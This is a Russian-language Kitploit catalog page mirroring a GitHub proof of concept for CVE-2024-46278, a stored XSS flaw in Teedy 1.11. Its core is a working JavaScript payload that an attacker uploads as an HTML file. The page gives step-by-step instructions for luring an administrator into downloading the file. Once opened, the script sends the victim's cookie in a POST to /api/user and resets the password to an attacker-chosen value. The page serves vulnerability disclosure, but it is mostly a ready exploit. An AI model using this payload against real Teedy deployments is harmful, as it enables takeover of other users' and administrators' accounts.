Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-46278-teedy_1.11_account-takeover — 【Teedy 1.11】Захват учётной записи через XSS | Kitploit
Инструменты/GitHubGitHub/ayato-shitomi/cve-2024-46278-teedy_1.11_account-takeover
Инструменты фишингаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСоциальная инженерия
GitHubayato-shitomi/cve-2024-46278-teedy_1.11_account-takeover

CVE-2024-46278-teedy_1.11_account-takeover

【Teedy 1.11】Захват учётной записи через XSS

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
11 год назадЕщё не проверено

【CVE-2024-46278】teedy_1.11_account-takeover

【Teedy 1.11】захват учетной записи через XSS

Детали

Существует уязвимость, которая вызывает XSS при загрузке файлов. Уязвимость XSS может позволить администратору Teedy похитить учетную запись всего несколькими кликами.

Эта уязвимость обозначена как CVE-2024-46278: https://www.cve.org/CVERecord?id=CVE-2024-46278

PoC

  • Войдите в систему под учетной записью атакующего.
  • Загрузите этот файл с типом html. При необходимости вам нужно изменить «Origin» и «Referer», а также аргумент для fetch.
root@kitploit:~
<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: 'password=superSecure2&passwordconfirm=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>
  • Войдите под другой учетной записью, например admin.
  • Нажмите на файл, загруженный атакующим, и выберите Download this file.

Демо

https://www.youtube.com/watch?v=udQgVogsmhA

Скачать инструмент